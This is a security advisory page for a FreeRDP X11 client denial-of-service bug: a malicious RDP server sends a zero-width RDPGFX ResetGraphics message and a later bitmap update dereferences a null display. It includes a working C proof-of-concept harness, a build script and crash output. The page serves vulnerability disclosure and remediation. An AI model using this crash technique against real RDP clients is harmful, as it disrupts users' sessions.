Zero-width RDPGFX ResetGraphics crashes FreeRDP X11 client
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-c426-ppvf-jpfg. Fix status from GitHub. Impact type from CWE-476.
Summary
FreeRDP up to and including 3.32.1 is affected. A malicious RDP server can send an RDPGFX ResetGraphics message with zero width, which leaves the primary display of a Linux X11 client unset, and a later bitmap update then dereferences it (CWE-476). A connected xfreerdp client crashes, so the impact is loss of client availability, and no code execution or information disclosure was shown.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
A malicious RDP server can crash a connected Linux `xfreerdp` client by sending an RDPGFX `ResetGraphics` PDU with width zero and then a normal bitmap update. The RDPGFX client parser rejects dimensions above `MAX_SURFACE_SIZE` but accepts zero. `gdi_ResetGraphics` commits the zero size and asks X11 to resize. `gdi_resize_ex` frees and nulls the primary display before its replacement is successfully created; the zero-width creation fails. The graphics-channel error is logged without ending the core session. A subsequent bitmap update reaches `gdi_Bitmap_Paint`, which dereferences `context->gdi->primary->hdc` and crashes. A preserved live TLS/NLA test sent the reset through the in-tree RDPGFX server API after capability exchange, then sent a valid 1×1 bitmap update. The client logged reset error 1359 and exited 139 after `SIGSEGV`; the crash frame resolved to `gdi_Bitmap_Paint`. A separate callback-level run recorded `gdi->primary=(nil)` immediately after the failed reset. The demonstrated impact is client availability loss. No attacker-controlled write, information disclosure, or code execution was shown. The live test used X11 software GDI and a zero-monitor reset on Linux; a one-monitor variant and other client back ends were not tested. This is distinct from published [GHSA-r7jx-j9h7-j4xj](https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-r7jx-j9h7-j4xj), which concerns uninitialized padding in the **server-side serializer** for `ResetGraphics`. That advisory lists 3.31.0 as patched; this separate client-side zero-dimension resize path is present in inspected 3.32.0 source. ### Reproduction The following **callback-level** harness calls `gfx->ResetGraphics` with zero width and then `update->BitmapUpdate` in a matching FreeRDP build. It does not itself serialize an RDPGFX PDU or establish a network session. Save the complete C block as `poc_resetgraphics_zero.c` and the runner as `run.sh` in the same directory. It requires a build with the same internal symbols and X11 dependencies. ```c /* * PoC: RDPGFX RESETGRAPHICS with width=0 (or height=0) destroys the client's * GDI primary surface and leaves gdi->primary == NULL, because gdi_ResetGraphics * commits the zero DesktopWidth/Height settings and then calls * update->DesktopResize -> gdi_resize_ex(0, h) which frees the primary and * fails to recreate it for the zero dimension. * * Target: FreeRDP 3.32.1-dev0 @ 599262d * libfreerdp/gdi/gfx.c:98 gdi_ResetGraphics (bounds only enforced in * channels/rdpgfx/client/rdpgfx_main.c:735: width/height > MAX_SURFACE_SIZE) * libfreerdp/gdi/gdi.c:1378 gdi_resize_ex (frees primary before realloc) * libfreerdp/gdi/gdi.c:1292 gdi_CreateCompatibleBitmap -> calloc(0,h)==NULL * * Consequence: the next ordinary drawing update that uses gdi->primary * (e.g. gdi_Bitmap_Paint -> gdi_BitBlt(gdi->primary->hdc, ...)) dereferences * NULL. Here we drive the same callbacks the network path drives: * gfx->ResetGraphics() then update->BitmapUpdate(). * * Build: * cc -O0 -g -rdynamic -o poc_resetgraphics_zero poc_resetgraphics_zero.c \ * $(pkg-config --cflags --libs freerdp3) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <execinfo.h> #include <freerdp/freerdp.h> #include <freerdp/gdi/gdi.h> #include <freerdp/gdi/gfx.h> #include <freerdp/client/rdpgfx.h> #include <freerdp/settings.h> #include <freerdp/codecs.h> static void crash_handler(int sig) { void* frames[32]; const int n = backtrace(frames, 32); fprintf(stderr, "caught signal %d, backtrace (%d frames):\n", sig, n); backtrace_symbols_fd(frames, n, 2); _exit(128 + sig); } static rdpGdi* g_gdi; /* FREERDP_LOCAL helper, available when linking against the build tree objects. */ extern void* cache_new(void* context); static BOOL my_desktop_resize(rdpContext* context) { rdpSettings* settings = context->settings; return gdi_resize(g_gdi, freerdp_settings_get_uint32(settings, FreeRDP_DesktopWidth), freerdp_settings_get_uint32(settings, FreeRDP_DesktopHeight)); } int main(void) { signal(SIGSEGV, crash_handler); signal(SIGABRT, crash_handler); freerdp* instance = freerdp_new(); if (!instance) return 2; if (!freerdp_context_new(instance)) return 2; rdpContext* context = instance->context; rdpSettings* settings = context->settings; if (!freerdp_settings_set_uint32(settings, FreeRDP_DesktopWidth, 1024) || !freerdp_settings_set_uint32(settings, FreeRDP_DesktopHeight, 768) || !freerdp_settings_set_uint32(settings, FreeRDP_ColorDepth, 32)) return 2; /* GDI requires the rdpCache normally created during connection setup; the * ordinary update paths require rdpCodecs. */ context->cache = (rdpCache*)cache_new(context); if (!context->cache) return 2; context->codecs = freerdp_client_codecs_new(0); if (!context->codecs) return 2; if (!gdi_init(instance, PIXEL_FORMAT_BGRX32)) { fprintf(stderr, "gdi_init failed\n"); return 2; } g_gdi = context->gdi; context->update->DesktopResize = my_desktop_resize; RdpgfxClientContext* gfx = (RdpgfxClientContext*)calloc(1, sizeof(RdpgfxClientContext)); if (!gfx) return 2; if (!gdi_graphics_pipeline_init(context->gdi, gfx)) { fprintf(stderr, "gdi_graphics_pipeline_init failed\n"); return 2; } fprintf(stderr, "before: gdi->primary=%p primary_buffer=%p size=%dx%d\n", (void*)context->gdi->primary, (void*)context->gdi->primary_buffer, context->gdi->width, context->gdi->height); /* RDPGFX_CMDID_RESETGRAPHICS with width=0 (monitorCount=0). */ MONITOR_DEF dummy = { 0 }; RDPGFX_RESET_GRAPHICS_PDU reset = { 0 }; reset.width = 0; reset.height = 768; reset.monitorCount = 0; reset.monitorDefArray = &dummy; const UINT rc = gfx->ResetGraphics(gfx, &reset); fprintf(stderr, "ResetGraphics(0x0) rc=%u (ERROR expected)\n", rc); fprintf(stderr, "after : gdi->primary=%p primary_buffer=%p size=%dx%d (primary=NULL == state corruption)\n", (void*)context->gdi->primary, (void*)context->gdi->primary_buffer, context->gdi->width, context->gdi->height); /* Now drive an ordinary (non-GFX) bitmap update through the same update * callback the network path uses. gdi_bitmap_update -> bmp->Paint -> * gdi_Bitmap_Paint -> gdi_BitBlt(context->gdi->primary->hdc, ...) */ const UINT32 w = 8, h = 8; BYTE* pixels = (BYTE*)calloc(1, w * h * 4); BITMAP_DATA rect = { 0 }; rect.destLeft = 0; rect.destTop = 0; rect.destRight = (UINT16)w; rect.destBottom = (UINT16)h; rect.width = (UINT16)w; rect.height = (UINT16)h; rect.bitsPerPixel = 32; rect.flags = 0; rect.bitmapLength = (UINT16)(w * h * 4); rect.compressed = FALSE; rect.bitmapDataStream = pixels; BITMAP_UPDATE bu = { 0 }; bu.number = 1; bu.rectangles = ▭ fprintf(stderr, "feeding ordinary BITMAP_UPDATE (expect NULL deref)...\n"); context->update->BitmapUpdate(context, &bu); fprintf(stderr, "no crash -- unexpected\n"); return 0; } ``` ```sh #!/bin/sh set -eu if [ "$#" -ne 2 ]; then echo "usage: $0 <FreeRDP source dir> <matching CMake build dir>" >&2 exit 2 fi SRC=$(CDPATH= cd -- "$1" && pwd) BUILD=$(CDPATH= cd -- "$2" && pwd) find "$BUILD/winpr/libwinpr/CMakeFiles/winpr.dir" \ "$BUILD/libfreerdp/CMakeFiles/freerdp.dir" \ "$BUILD/libfreerdp/codec/CMakeFiles/freerdp-codecs.dir" \ "$BUILD/libfreerdp/primitives/CMakeFiles/freerdp-primitives.dir" \ -name '*.o' -print > freerdp-objects.list # Keep the archived build's object-link approach for internal cache_new(). cc -O0 -g -rdynamic -flto=auto \ -I"$SRC/include" -I"$SRC/winpr/include" \ -I"$BUILD/include" -I"$BUILD/winpr/include" \ poc_resetgraphics_zero.c $(cat freerdp-objects.list) \ -o poc_resetgraphics_zero_static \ -lz -lssl -lcrypto -lX11 -lXext -lSM -lICE -lxkbfile \ -licui18n -licuuc -licudata -lm -lpthread -ldl ``` With matching source and build directories, run: ```sh sh run.sh /path/to/FreeRDP /path/to/FreeRDP-build ./poc_resetgraphics_zero_static ``` The archived callback run returned `ResetGraphics(0x0) rc=1359`, then printed `gdi->primary=(nil) primary_buffer=(nil) size=0x768`, and caught signal 11 after the bitmap update. A separate preserved **live TLS/NLA session** sent the zero-width reset through FreeRDP's server API and a normal 1×1 bitmap update; its client exited 139 at `gdi_Bitmap_Paint`. That live result is stronger than the inline harness, but the live server's 1,153-line source and environment-specific runner are not reproduced here. There is no matched live nonzero-width control, and other client back ends were not tested. ### Suggested remediation Reject zero desktop dimensions before invoking the graphics reset callback. Make resize preserve the old primary, settings, and X11 image until the replacement is ready, or close the session if the display state cannot be restored. Test zero-width and zero-height resets followed by a valid drawing update, with nonzero-size controls, on the real client receive path.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c/c++) | <= 3.32.1 | 3.32.2 | Patch available | GHSA-c426-ppvf-jpfg |
- FreeRDP (c/c++) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-c426-ppvf-jpfg
Remediation
Upgrade FreeRDP to version 3.32.2 or later, which is the fixed version listed for this product.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-c426-ppvf-jpfg FreeRDP (c/c++) Fixed in 3.32.2 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-c426-ppvf-jpfg
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences